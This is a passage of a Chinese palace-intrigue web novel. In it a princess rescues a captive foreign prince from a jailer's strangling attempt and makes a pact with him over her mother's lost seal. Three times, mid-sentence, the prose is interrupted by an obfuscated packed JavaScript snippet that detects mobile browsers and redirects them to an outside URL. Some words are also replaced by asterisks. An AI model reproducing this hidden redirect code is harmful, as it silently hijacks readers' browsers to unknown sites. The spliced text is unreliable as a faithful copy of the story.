她横了眼满脸怨怼的淑妃,冷冷道:“驸马如此英勇还被人贬损为‘手无缚鸡之力’,那手刃蛟妖却身负重伤的儿臣,只怕要被人数落成无能之辈了!” 淑妃双目几乎要喷出火来! 这个贱丫头,逮到机会就要咬自己两口,当真是条疯狗! 皇帝眼中防备之色渐去,他点了点头,这才道:“依谲儿看,夏逸该如何处置才好呢?” “自然是杀之而后快!” 商无忧眼中闪过肃杀之意,低声道:“大辉多年未行祭礼,百姓都盼着能再得司命眷顾。此番儿臣可是豁出性命为我大辉祈福,没想到北狄人竟处心积虑破坏祭奠,儿臣怎能任由罪魁祸首逍遥法外?!” 淑妃却道:“夏逸贵为北狄亲王,又是和谈正使,陛下怎能杀他?” 她看了看皇帝的脸色,忽的轻声道:“玉玺可还在北狄人手中。若是玄王出了事,北狄一气之下拒绝归还玉玺,便得不偿失了……” 见皇帝默然不 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“父皇、您定要杀了那夏逸……” 看着商无忧不甘离去的背影,淑妃只觉一阵痛快,猛然间却听皇帝道:“这午膳用完了,爱妃也该回去了!” 淑妃一愣,忙道:“陛下,臣妾不要……” “后宫不得干政!” 皇帝冷冷看了她一眼,语带告诫道:“朕刚刚与长公主谈的是国事,你却贸然插嘴;朕念你是初犯,此番先不治罪,若下次再犯,朕定不轻饶!” 淑妃一凛,再不敢撒痴,忙不迭带着侍女朝外退去。 走在回宫的路上,赵元婴低声道:“殿下今日试探的结果如何?我看陛下疑心颇重,您真能救出夏逸了?” “父皇不会放人的!” 商无忧叹了口气,“父皇要以刺杀之事做筹码,与北狄讨价还价!” “既然如此,殿下拿什么和夏如风换取皇后宝印的下落?” 商无忧勾起唇,水葱似的手指轻轻点向自己的额头,轻声道:“就凭普天之下,唯有我能保住他的命!” “他若想活着,只能听我的安排!” 第一百二十一章 动刑 “玄王殿下,小人来了!” 夏逸横了眼一脸谄媚的天牢兵卒,呵呵笑道:“你倒勤勉,不过二十鞭,有必要每日亲自行刑吗?” 兵卒一脸媚笑,小声道:“殿下说笑了,您家五皇子可是给了小人好处的,小人怎么敢不尽心呢?” 夏逸点了点头,“如风他可叫你带了什么话进来?” “自然是有的!” 兵卒俯下身,半跪在夏逸身旁,低声道:“五皇子去宫里见了长公主,长公主又去见了陛下;五皇子叫小人告诉殿下,说是陛下看在您贵为使者的份上不会轻易论罪。只可惜外头现在群情激奋,玄王眼下怕是出不了这座天牢……” 如今就好! 他不怕辉帝颁旨定他的罪,可扰乱祭礼的任务失败了,那一位只怕会在暗中对自己出手…… 兵卒不知他心中所想,自顾自道:“王爷,行刑的时候到了,不如劳烦您换个姿势?” 夏逸瞥了他一眼,这才懒洋洋翻了个身,将整个后背晾了出来,口中随意道:“你快点,别耽误本王吃饭。” 兵卒点头称是,讨好的道:“王爷,小人得罪了!” 说着转身朝外吩咐道:“来人,将这北狄贼子给我绑起来!” 外头冲进来四个兵士,不由分说的将夏逸架到一旁的凳子上,随后便将他的双手双脚绑了一旁的四根柱子上。 这几人力道甚大,又将绳子绑的死紧,夏逸被他们弄得生疼,这便不悦的板起脸,朝站在自己身后的兵卒道:“走个过场而已,有必要弄成这样吗?” “呵呵,王爷恕罪,小人们也是奉命行事,左右也就一炷香的时间,王爷忍忍也就过去了!” 听见兵卒讨好的话语,夏逸不悦的叹了口气,“你快点!” “是、是,小人这就动手!” 那兵卒一边说着,一边撩起夏逸的衬衣,趁人不备快速将怀中的皮子垫在他腰臀处,随后退开身,朝着身后道:“开始行刑!” “一!” 啪! 藤条甩动的声音划破长空,随着兵卒拉长的喊声,鞭子抽在皮肉上的噼啪声听得人心惊胆战—— 夏逸无聊的打了个哈欠。 这辉人小吏好生磨蹭! 一顿鞭子而已,三下五除二抽完便好,偏他说什么“做戏做全”,每次都要折腾上半个时辰! 不就是想多要点银子吗,犯得上这般费力表演吗?! “三、四……” 小吏的声音拉的深长,期间还要数落“北狄罪人”的不是;臀部上挨的责打如同在挠痒痒,那规律的噼啪声在夏逸耳中恍若催眠曲,不知不觉间他合上了双眼,沉沉睡了过去…… “十九、二十!” 藤条破空的声音终于停了下来,小吏转身将手中藤条交给身后之人,这才吩咐道:“犯人昏了过去,叫他在此处缓上一缓,尔等忙自己的去吧!” 待手下人走远,小吏这才凑上前来,低声唤道:“玄王殿下,玄王殿下?” 耳边响起均匀又绵长的呼吸声。 “到底是王宫贵胄,在这天牢里也能睡的这般沉!” 小吏见状叹了口气,伸手将垫在夏逸下身的皮子揣入怀中,口中叹道:“玄王殿下,小人可没白拿您的金子,这几日小人供着您好吃好喝,行刑时更是连丝油皮儿都没让您破,小人尽力了。” 他一边低声咕哝着,一边随手从墙上取下一根粗壮的麻绳,利落的朝夏逸脖子上套去。 “好好的北狄你不待,偏要来我大辉作妖;我虽是个小吏,好歹在这京都城中混了几十年,你手中握着权贵们想要的东西却不交出来,他们怎会让你在这牢中过得逍遥?” 小吏说着抬起一只脚,狠狠踩在夏逸背上,手中开始缓缓使力气,咬着牙嘿嘿笑道:“冤有头债有主,不是我想要你的命,你这冤死鬼日后想要复仇可千万别寻错了人……” ----------------- 睡梦中的夏逸只觉一阵窒息,仿佛有人正在死命的勒着他的颈子。他倏然睁开双眼,两只手立时朝脖子探去,只可惜他双手双脚早被牢牢绑在四边的桩子上,此时他憋得难受、只得甩着手脚、死命的挣扎起来。 他越挣扎、背上的脚踩的就越狠,颈间的绳子愈发迫的 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小吏心中愈发焦急,他咬着牙、手中丝毫不放松,脚下愈发用力,直将夏逸的头拉的往后折去—— “王爷,您若再较劲小人只怕要将您的脖子拉断了,到时候可就不好看了……你吐口气,小人保证给您留个全尸……” 混账! 混账! 夏逸眼前发黑,耳边忽的腾起一片蜂鸣,他什么也看不见、听不见—— 朦胧中母亲悲戚的脸出现在眼前—— “逸儿,娘无能,不能护你周全,往后的日子你只能靠自己了!” “你是白氏一族的血脉,坐上那至尊之位的本该是你!” “儿啊,娘斗不过她;可你还有机会,往后的日子你要隐忍,只要你耐下心来,早晚能将她们母子咬死!” 母亲、母亲! 我有雄心! 只可惜,今日儿子要葬身在这卑微的大辉狱卒手中了! 夏逸满心不甘的呼出最后一口气,壮硕的身子忽的重重倒了下去。 “这就不行了?!北狄玄王,你太让本宫失望了!” 第一百二十二章 请陈小姐替本宫来问话 夏逸瘫在原地,眼神渐渐涣散,耳边张狂的女声却渐渐清晰—— “身在敌国却连一点防备之心都没有,你以为北狄的银子真有通天之能?!” 小吏跪在地上、痛叫连连,背上赫然插着柄薄如蝉翼的**;商无忧横了他一眼,朝身旁沉默无言的侍卫道:“你替本宫问上一问,是谁让他对北狄人动手的?” “人虽你处置,只一条——千万别叫他**!” 卫真点了点头,转过身一把拔出小吏背后的**;小吏痛急,偏伤处在后背,任他如何身手也够不到,只得着趴在地上、不断痛苦的蠕动着身体。卫真顾不得他的伤,忙提起此人后领将人提出了天牢。 商无忧俯身瞧了瞧一动不动的夏逸,猛然一把将人翻了过来。 “还装死?若再不醒,本宫这趟可就白来了!” 商无忧迅速出拳,朝夏逸胸前猛击过去;夏逸猛的吸了口气,干瘪的肺部无法适应突然闯入的空气,不可抑制的咳嗽起来。 胸腔疼的厉害,夏逸死命喘了半晌,这才睁开了眼…… “本王没、死在那……小吏手里,可长公主、那几拳……却差点将我送去见阎王……” 商无忧闻言冷笑一声,“你这北狄蛮子在我大辉天牢中优哉游哉,如此掉以轻心活该你有今日一劫。” “昔日本宫深陷永巷,连父皇送来的吃食都不敢用;你倒好,竟敢在敌国王都陷入酣睡,若非本宫及时赶到,你早就被那小吏无声无息的弄**!” 夏逸苦笑一声,“都怪你们辉人……背信弃义,他拿了本王的金子,却反过头来……加害本王,好生无耻……” “你们北狄人就都是好的?!” 商无忧抱着肩,不屑道:“你贵为北狄皇室,还不是在暗地里计划着陷害本宫?你与那小吏都是卑鄙之人,何必相轻呢?” “本宫倒是好奇,你一个他国来使,究竟在大辉得罪了什么样的权贵,居然被人家追杀到天牢中来?” “还是说,你手中握着什么不可告人的秘密,让人不得不**灭口呢?” 夏逸只顾着喘气,对商无忧的问题闭口不言。 商无忧歪着头围着虚弱的夏逸转了两圈,忽的笑了—— “玄王的嘴硬,本宫的脾气又不好,未免一气之下杀了你泄愤,还是请陈小姐替本宫来问话吧!” 牢门一开,从外头走进个十四五岁的妙龄少女,她眼神灵动、面上却带着丝忐忑的神情。她先朝商无忧施了礼,这才转身朝夏逸道—— “长公主说得对,凡被**灭口者必是掌握了为人所不知的秘密。可玄王殿下遭人灭口的时机却过于巧合——司命祭礼长公主遇妖兽袭击、北狄刺客趁机扰乱典礼、刺杀陛下;前脚玄王刚被投入天牢,那小吏后脚就赶着来**灭口。” 夏逸的心猛的跳了几下,却听那少女继续道:“我愿意相信刺杀一事并非玄王策划,毕竟若无大辉内应,北狄人怎能将十年未举行的祭典流程弄得这般清楚?!” “只可惜那人从始至终只将王爷当做替罪羊——无论您的刺杀是否成功,得利的总归是藏在您背后的那个辉人;可一旦计划失败,他便可利用自己在朝中的势力除去威胁!” 夏逸摇了摇头,“本王说过,刺杀你们大辉皇帝的那些人并非我北狄暗卫……” “原来您只与那人商定了破坏长公主的祭礼!” 陈爱若做恍然状,“您是他国来使、又是一国王族,即便破坏了我国祭礼想来也罪不至死,既然如此他为何急着杀你灭口?” “想来那人必是对你不放心,索性将事情都堆到北狄人身上,这样他自己就‘干净’了!” 商无忧满意的点了点头,赞道:“不错,没想到你一朝开窍竟然这般聪慧!” 陈爱若谦虚的笑了笑,“祭礼之事表面上是冲着殿下来的,可往深里说却是涉及我大辉国运——祭礼若失败,陛下的声威也会受影响,若有心人以此为由举起反旗,只怕大辉便要风雨飘摇了……” “你倒胆大!” 商无忧啧了一声,“这般话若是落在父皇耳朵里,他可是要**的!” 陈爱若微微一笑,“陛下乃天下之主,爱若不过一个痴傻丫头,想来陛下是不会跟我一般见识的。” 说着她狡黠的目光转向夏逸, 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“至于我是如何运暗卫进城的,长公主不妨去查查皇城司。” 商无忧横了夏逸一眼,冷冷道:“若你只有这点用处,本宫何必非要来此走上一遭?” 夏逸深深看了她一眼,这才叹道:“你为何对那皇后金印如此执着?不过一件死物,便是得到了它,懿慈皇后也不会再回来……” 闻言商无忧碧眸中泛起寒星点点,她薄唇勾出个冷酷的弧度,低声道:“你以为本宫和你一样,对母亲的死无动于衷?!” “你在弑母仇人跟前卑躬屈膝、谨小慎微的过了这么多年,心中难道就不恨?我若是你早就将北狄太后和皇帝**万段了,又怎会让他们苟活这么多年?” 夏逸心头生出阵阵寒意—— 他怎会不恨?! 可他羽翼未丰,贸然动手只会将自己陷于死地! 既然大辉长公主对他的事如此上心,他便借她这柄锋利的刀,除了自己的心头大患! “懿慈皇后的金印在北狄!” 第一百二十三章 交易 “我大辉皇后的金印怎会在你北狄?!” 夏逸看着双目如火的大辉长公主,忽的冷笑道:“若想知道答案长公主殿下可以亲自去北狄问问我家太后。可我北狄人在你们这帮辉人眼中皆是‘蛮夷’不知长公主可有胆量往我国一游?” 商无忧一双眼直直盯着一脸嘲讽之色的夏逸,沉声道:“母后之印是在当年宫变中遗失的,事后父皇几乎是倾举国之力寻找此物;你说此物在北狄,难不成当年洛阳宫变,北狄人也曾参与其中?” 被那双碧色的眸子一盯,夏逸只觉头昏脑涨起来,他奋力甩了甩头,不耐道:“八年前皇帝刚刚继位,我又差点死在皇权争夺之中,怎会知道大辉的叛乱之事与我北狄皇室有没有关系?!” “可你们大辉帝后的玺绶都落入我北狄皇室之手,若说当年之事与他们并无半丝关系,殿下信吗?” “你家皇帝身旁那位‘心腹’便曾来宫中见过我国太后,至于他们密谋了些什么,我就不得而知了……” 商无忧仰起脸,沉声道:“你若能替我寻回金印,我便保你性命无忧!” “要本王答应此事容易,可是长公主要如何保证本王能信守承诺呢?” 闻言商无忧一手顺了顺肩上的发,忽的笑了出来。 “这话问得好——我是大辉的长公主,只要玄王身在大辉,你的生死便要由我掌控!” “至于玄王这辈子还能不能回到北狄,就要看你接下来的表现了!” 夏逸脑中狠狠一抽,他一脸凶恶的抬起眼,恶狠狠道:“你什么意思?” 商无忧闻言笑的癫狂,“玄王是北狄太后、皇帝的眼中钉,如若不然出使敌国这一不小心便人头不保的苦差事,怎会落在你的头上?” 她站起身,饶有兴致的绕着夏逸走了几圈,口中嗤笑道:“五皇子可是北狄皇帝的亲弟弟,同为使者、人家与你可是有着天壤之别!” “和谈若成功,功劳便是五皇子的;若是失败,罪责便都在玄王!” “啧啧,玄王殿下命运多舛,倒叫本宫升起无限唏嘘——你说若本宫向父皇谏言,将你扣在大辉做质子,父皇会不会答应?” 见夏逸满目惊慌,商无忧笑着叹道:“你若回不了北狄,你家皇帝和太后想必做梦都要笑醒了……” 夏逸狠狠咬了咬牙,沉声道:“好,我答应你!” “一言为定,待你将金印送还之时本宫必亲自送你离开大辉!” 商无忧得意的拍了拍手,歪着头道:“此事已谈妥,玄王又用什么报答本宫救你出天牢的恩情呢?” 夏逸一怔,“我不是答应给你金印了吗……” 商无忧摇了摇头,“你要搞清楚,救下你的命和还你清白,是两码事!” “你只有清清白白的回到北狄,才有机会向皇帝和太后复仇!” 夏逸默了默,这才道:“你待如何?” “雁荡山一事,你知道多少?” “原来竟是为了此事,看来宁国公在长公主心中分量不轻啊……” 夏逸叹了口气,轻轻摇了摇头。 “也罢,我就将自己知道的事告诉你吧!” “赵家父子乃我国死敌,冀州之战双方已僵持半年有余。探子们后来传回消息,说大辉朝中似有掣肘之举,可赵家父子竟咬牙死命撑着,似是要将对峙持续到底!” “可一个月后,赵家父子的应敌策略忽然变了——他们似乎遇到了什么难题,对我军的进攻也不再一味拒守;直到一个月后,探子传回消息,赵洵收到了一道圣旨:若十日之内再不得胜,便要全军降罪!” “赵家军决战心切,我军便趁势设下诱敌之计,在冀州之野设伏围剿赵洵。赵洵虽然被围,可赵家军作战英勇,虽损失近半却成功突围。没想到赵洵父子却在雁荡山下被人围歼,最后竟落了个尸骨无存……” “一代名将,竟落得这般下场,怎不叫人唏嘘?” 商无忧眸色一紧,“宁国公他、并非死于北狄之手?!” 夏逸点了点头,“我军赶到雁荡山下时赵家父子早已气绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649081|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身亡,残存的赵家军也无一生还,我方将领只带回了他父子二人的头颅,却不敢冒领功劳,只得将此事如实上报给朝廷。赵家与我北狄周旋多年,他既已身死这便是天佑我北狄,如此壮国声威之事太后又怎会归功于旁人?!” “宁国公究竟是遭了何人毒手?” 夏逸嗤了一声,“赵家军战力非常,我北狄兵强马壮亦不能灭之,你说赵洵是死在何人之手?” “事后我方将领曾清点过尸首,雁荡山下死的都是辉人,可数量却远超在冀州之战中突围的赵家军,公主殿下觉得,这多出来来的辉人,是从哪儿来的?!” 陈爱若心脏扑通扑通的跳—— 没想到赵家祖孙三代,英勇抗狄,最后竟折损在自家人手中! 商无忧沉吟半晌,这才缓缓点了点头。 “玄王放心,本宫一定遵守承诺。眼下先要保住你的性命,洗刷罪名之事容后再议。” “来人,请玄王殿下出去。” 夏逸对俯身来扶他的卫真摆了摆手,他一手撑地、勉力站起身,他深深的看了眼身后的商无忧,低声道:“愿殿下说到做到!” 看着二人离去的背影,商无忧低声道:“你都听见了?” 不远处传来一阵脚步声,只见新任宁国公、赵元婴白着脸从门外走了进来,他缓步来至商无忧身旁,低声道:“我一直觉得父亲和祖父不该败于北狄之手,没想到他们竟……” 他顿了顿,这才道:“圣旨之事大哥并未提及,莫不是那北狄人在说假话?” 商无忧摇了摇头,“我看不像,正如夏逸所说,斩杀我国大将能壮北狄国威,他们没必要否认此事。我看你还是回府中与你大哥好好谈谈,若想弄清真相还需走一趟雁荡山才是!” 看着赵元婴怔忪的神色,商无忧难得放柔了声音:“你先回府去寻赵元吉,玄王之事我自己来办。” 赵元婴欲言又止,商无忧见状叹道:“父皇是什么性子我比你了解,眼下弄清真相才是关键,其余的事以后再说。” 第一百二十四章 深夜闯宫(一) 淑妃今日难得侍寝,夜已深,她依在皇帝身旁,迷迷糊糊间忽听外头有人高喊—— “来人啊,有刺客!” “御前侍卫,快来护驾!” 淑妃猛地坐起身,捂着胸脯大声道:“是不是那个丫头又来了?!来人,给我将人赶出去!” 皇帝被她尖刻的叫声唬了一跳,忙不迭坐起身,朝着外头大声道:“施淳何在,外头究竟出了什么事?哪儿来的什么刺客,难不成又有人**了?!” 寝殿的门一开,大内官施淳走了进来,他快步踱至皇帝床榻旁,俯身低声都道:“陛下稍安勿躁,是长公主殿下带着北狄玄王深夜闯宫,说是有要事禀告……” “陛下,长公主也太不像话了!” 淑妃一手拉住皇帝的胳膊,气愤的道:“什么事能比您的身子还重要?陛下为国事操劳了一整天,好容易能歇息一会却又被无忧这疯丫头吵醒,明日早朝您哪儿来的精神处理朝政?” “您若再不好好管教长公主,太极宫往后便没有伦理纲常可言了!” 皇帝闻言面上亦显出一丝怒色,他转头朝施淳道:“她有什么事,为何非要这个时间来见朕?!淑妃说的对,无忧她太过放肆了……你去将赵元婴给朕叫来!长公主是他的妻,连自己的妻子都不能约束,朕还要他这个驸马做什么?!” 听见外头乱糟糟,辉帝暗自叹了口气,忽的摆了摆手:“罢了!长公主大病初愈,朕此番就不降罪了……你出去告诉她,叫她回自己宫里好好待着,若再胡闹朕定不轻饶……” 施淳垂着头朝前走了两步,凑到皇帝耳边低声嘀咕了两句;辉帝闻言登时变了颜色,他不敢置信的低声喝道:“**?他怎么会**?!” “快宣长公主觐见!” 想了想又道:“你告诉外头那些奴才,今夜的事谁也不许多嘴,若是明日被朕听到一丝风声,朕便将他们都拖出去砍了!” 施淳恭敬的作了个揖,这才朝外退去。 淑妃听着皇帝的话茬儿不对,却不敢随意打探,只得小声道:“陛下的心忒软了!长公主闹成这个样子,您为何还纵着她?再这么下去,臣妾日后要如何约束宫嫔和皇室子女……” 辉帝抬脚下了床,一边吩咐奴才们为他更衣,一边朝淑妃随意安慰道:“谲儿是镇国公主,事关朝政她这才漏夜来见!爱妃先睡,朕处理完政事再回来陪你……” 看着皇帝匆匆离去的背影,淑妃暗自咬了咬牙;阿萍上前放下纱帘,却被她一把扯下,“本宫都被她吵醒了,你还打它作甚!” 阿萍叹了口气:“那一位这么闹也不是一两回了,往日里娘娘您都忍下了,今日好容易叫陛下赶上一回,娘娘为何不撺掇着陛下治一治这个无法无天的长公主……” 淑妃闻言不住冷笑,“你没听陛下说吗——镇国公主、地位非比寻常!前日里那一场祭礼陛下对她愈发青眼有加,本宫的话陛下怎么会听?!” “可奴婢瞧着陛下的清梦被人吵醒、他分明也是生气的;只是不知为何,陛下竟生生将这口气咽了下去……” 阿萍朝外看了看,这才低声道:“莫不是真出了什么大事?眼下丞相大人尚在禁足,朝中事娘娘若不帮着打探些,咱们相府岂不似盲人行于暗夜?” 淑妃略带迟疑道:“我方才听陛下的意思,好像是什么重要之人没了性命……” “你叫咱们的人小心打听着,看到底出了什么事!” 辉帝披着袍子快步来到前殿,但见长公主胸前包着厚重的纱布,披发赤足立于殿上,她左脚踩着个浑身是血的小吏,右手中却提着个脸色青白的男子。那男子紧闭双眼、脖子上一条骇人的青紫色勒痕十分醒目。 这不是北狄的那位使者——玄王夏逸吗?! 皇帝大惊失色,他快步走进殿内,指着那生死未卜之人朝商无忧道:“谲儿,这究竟怎么回事?” “儿臣今日去天牢中寻夏逸那北狄蛮子,正好看见这个混账羔子对北狄人动手,便出手将人拿了。儿臣觉得夏逸若继续留在天牢只怕难逃一死,因此才将人带到父皇面前来!” 皇帝惊道:“你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649082|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说我大辉的官吏竟暗中刺杀北狄使者?那玄王究竟**没有?” 商无忧歪着头看了看毫无反应的夏逸,心头忽的升起一丝不耐,她啪的一声将人丢在地上,口中不屑道:“儿臣急着来禀告官吏害人之事,谁知这北狄蛮子**没有……” 辉帝的心一颤,忙大声吩咐道:“还不赶紧去请太医!” 施淳忙指挥着小內监将夏逸抬了下去,不多时才一溜小跑过来回话。 “启禀陛下,北狄玄王的命保住了,太医说需得小心将养,若再被人勒上一回,便是神仙也难救了!” 辉帝闻言这才长处口气—— 他还指望着用玄王与北狄讨价还价呢,若这人此时死在大辉天牢岂不是弄巧成拙? “父皇,眼下大辉与北狄和谈在即,若是来使不明原因的暴毙,传出去只怕对父皇的名声不利,这伤人的小吏已被儿臣顺手拿下,究竟是何人指使父皇审一审便知!” 辉帝抬眼看了看女儿,忽道:“你重伤未愈,怎会到天牢那寒气颇重之地去?你若是伤上加伤,父皇可要伤心了……” “儿臣是去杀那北狄蛮子的!” 商无忧抬起一双碧眼直直望向辉帝,言语中毫无一丝隐瞒。 “北狄人太坏了,他们不仅处心积虑的破坏我大辉的司命祭礼、害得儿臣差点葬身于蛟妖口下;还敢趁机刺杀父皇,此等狼子野心之辈儿臣断断不会放过!” 说道此处她忽的勾起嘴角,“谁知儿臣一到天牢便看到那小吏手中拿着条绳子正死死勒住夏逸的脖子——那人真叫狠,夏逸那么壮,一条颈子竟险些被他勒断!儿臣本想着看着这北狄蛮子**算了,可后来转念一想如此实在太便宜他了!” “儿臣觉得定是大辉朝中有人通敌,如若不然这北狄蛮子如何能这般容易偷袭得手?如今有人**灭口更坐实了儿臣的猜想,这才出手打伤了那小吏。” 这孩子,居然是去**的! 辉帝一时百感交集,多亏了谲儿误打误撞,如若不然他这大辉皇帝便成了众矢之的! 第一百二十五章 深夜闯宫(二) 商无忧歪头看了看辉帝,忽道:“事关重大,儿臣不得已深夜闯宫,想来定是惊扰了父皇安眠,父皇可要对儿臣降罪?” 辉帝笑着摇了摇头,“我儿哪里话来?父皇岂是如此糊涂之辈……” “父皇英明,可您身旁侍寝的妃子估计要恨死儿臣了!” 商无忧说着唇边泛起一抹冷笑,“若儿臣没猜错,今夜侍寝的是淑妃吧?!放眼整个后宫,也就她敢叫人驱赶儿臣——还没当上一国之母,她抖这威风给谁看!” 辉帝苦笑一声,“谲儿,你身为镇国公主,何必非要与后宫妇人一般见识……” “淑妃她欺人太甚,儿臣断断容不得出身如此卑贱之人踩在头上!” 辉帝见女儿一脸鄙薄,只得叹道:“虽然有传言……但淑妃到底是高相的女儿,这般出身不算低了!” 商无忧昂着头道:“儿臣当初窥探天机,得‘娼妓之女——祸’几个字,儿臣不会算错!” “丞相又如何?高子霖身为百官之首,却**——我大辉的天牢竟成了心怀不轨之人行凶之地,他高子霖难逃罪责!” 商无忧说着将话锋一转,“审人的事儿臣不擅长,也不愿插手,免得有人说儿臣趁机‘泄私愤’!” 辉帝眸光轻闪,“你的意思是……” “天牢乃廷尉所辖,据儿臣所知、廷尉可是他丞相大人的亲家……” “人儿臣交给父皇了,这便先退下了!” 商无忧说着转身欲走,却被辉帝叫住。 “谲儿,夏逸身份敏感,天牢靠不住,朕将他放在何处才能安心呢?” 商无忧不耐的抚了抚胸口的伤,低声道:“这个儿臣没想过,左右父皇找个信得过的臣子,将人交给他就是……” 辉帝默了默,忽的低声道:“眼下能叫父皇放心的,唯有谲儿了。” “父皇要将这北狄蛮子交给儿臣?!” 商无忧一愣,“您就不怕儿臣一刀宰了他?” “我儿有句话说得对,” 辉帝看着长女,沉声道:“若无我朝奸细,这北狄人断断不敢派人暗杀于朕!” “祭礼当日共有两波贼寇,其中左臂系黄带的便是北狄暗卫,可他们只有区区几十人,连朕的跟前儿都到不了,不过是在外围做了些惊扰百姓之事;而被朕的护卫们斩杀的那些刺客,可都是辉人!” 辉帝目带寒光,语气中透着阵阵肃杀之意。 “这帮愚蠢的北狄暗卫是被人当了幌子——朝中有位高权重之人对朕不忠,这人手段高绝,朕一时半会儿还寻不出他的狐狸尾巴,夏逸若是**,这人便藏的更深了!” “为大局计,只有将夏逸放在谲儿身边,朕才放心。” 商无忧抱着肩点了点头,“那好,儿臣这就去废了他的武功……” 辉帝闻言扶额长叹:“夏逸是北狄皇族,并非我大辉臣子,谲儿你不可轻易伤了他!” “父皇的意思是,儿臣不仅要关住他、还要保证他的安全?” 见辉帝点了头,商无忧只得无奈的道:“宫中是住不得了!既然父皇有吩咐,儿臣便将之带回国公府吧……” 辉帝笑道:“朕已叫人在国公府对面为你修建了镇国公主府,谲儿日后若与驸马生了龃龉,可回公主府暂住。” 商无忧撅了噘嘴,“难不成父皇还盼着赵元婴与儿臣不合……” “陛下兴建镇国公主府,可全是为了长公主啊!” 施淳上前一步,柔声道:“国公府的老太君不是好相与的,偏殿下有一身傲骨,想来若是日后再国公府受了气,是断不肯来陛下面前哭诉的。陛下怕长公主胸中憋闷,特意在国公府旁为您兴建了府邸,就是想让您在心情不爽时能有个安静的去处。” “陛下的一片苦心,殿下万不要辜负啊!” 商无忧闻言这才肃了神色,俯身朝皇帝拜道:“儿臣多谢父皇!” “只要你能好好的,朕便安心了!” 辉帝脸上露出欣慰的笑容,低声叹道:“朕瞧着赵元婴是个懂事的,想来不会给你委屈受。可你素来心高,若是国公府中人一时有个言语不周,你可千万莫要往心里去。你的病急不得、气不得,你要照顾好自己的身子,你母后在九泉之下才能瞑目……” 这还是父皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649083|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次在她面前主动提起母后。 商无忧默了默,忽的重重朝皇帝叩了个头,沉声道:“儿臣多谢父皇关怀,请父皇放心,儿臣一定看顾好北狄人!” 待看着她离去,辉帝这才受了笑容,朝施淳道:“将那对夏逸动手的小吏交到校事府去,务必要让他吐出实话来!” ----------------- 两乘软轿将商无忧和夏逸抬到了宫门口。 宁国公赵元婴正率人等在此处,一见轿子出了门,他忙翻身下马,亲自扶着商无忧上了翟车,夏逸见状不由出言讥讽道:“堂堂宁国公,竟对着个女子卑躬屈膝,怎的这般没骨气?” 赵元婴平静的道:“为祈大辉国泰民安,长公主身负重伤,照顾发妻乃人夫的本分,本公并未觉得有何不妥。” 商无忧横了夏逸一眼,低声告诫道:“你若皮痒本宫不介意将你丢出门去!” 她登上翟车,厚厚的车帘落了下来。 “我劝你收起北狄贵族的傲气。本宫答应保你性命,可你若敢惹本宫不快,国公府中有的是麻绳,端看你的脖子禁得住几回!” 夏逸艰难地吞了口口水—— 这个疯婆子说得出做得到,多亏她想出将差点被人勒死的自己扔到辉帝面前,他这才能名正言顺的出宫,免遭那人毒手。 眼前之人是他的救命稻草,万万得罪不得! 马鞭一响,翟车动了起来。 坐于车内的陈爱若这才道:“殿下好算计,若不是您一招反客为主,陛下怎会想到将玄王交由您处置?” 商无忧撇了撇嘴,“父皇多疑,我直言要杀了夏逸,他不会怀疑我会在暗地里对他出手。而朝中臣子他没一个信得过,他只能将夏逸交给我!” 陈爱若点了点头,“殿下说的对。可有一事臣女一直想不通,究竟是谁要刺杀陛下?” “北狄人只是在外头策应,而里头的刺客不过百,就凭这点人手断不可能刺杀成功,那此人的用意究竟为何?” 商无忧闭上眼睛,淡淡道:“那些刺客是本宫的死士,他们自是冲着刺杀皇帝去的!” 第一百二十六章 夫妻归府(一) 陈爱若大惊失色,她抖着双唇,战战兢兢的道:“殿下,您怎么会……” “若不如此,如何将藏在背后、想要坑害本宫的人引出来?” 商无忧闭着双眼,身躯随着马车的颠簸左右摇摆,淡淡道:“洛阳宫变后我被困永巷八年,八年来我无时无刻不想弄清陈氏一族被**的真相。宫变那日的一幕幕如走马灯般在我眼前不断闪过——父皇与妃嫔仓促出行,只余中宫皇后看守宫殿;除了刚刚出生的太子,其他皇子、公主都被带出了宫;而本该陪着皇室出行的卫尉却被滞留宫内,最后被扣上个‘与叛军合谋’的帽子,含冤而死……” 她的语气中含着丝微不可查的失望与决绝。 “这一桩桩、一件件都有迹可循,若说父皇在宫变之前毫不知情,我断断不会相信!” 陈爱若一滞,忙道:“所以殿下竟是要……” “我没想弑父!” “父皇得活着还陈氏一族清白。” 商无忧睁开眼,沉如深渊的碧色眸子缓缓朝一脸忐忑的陈爱若望去。 “那日我一见你的面,便知晓你今后会是我最强的助力,所以我不会骗你。” 陈爱若的心一动,“殿下的意思是说,您的天眼恢复了?!” 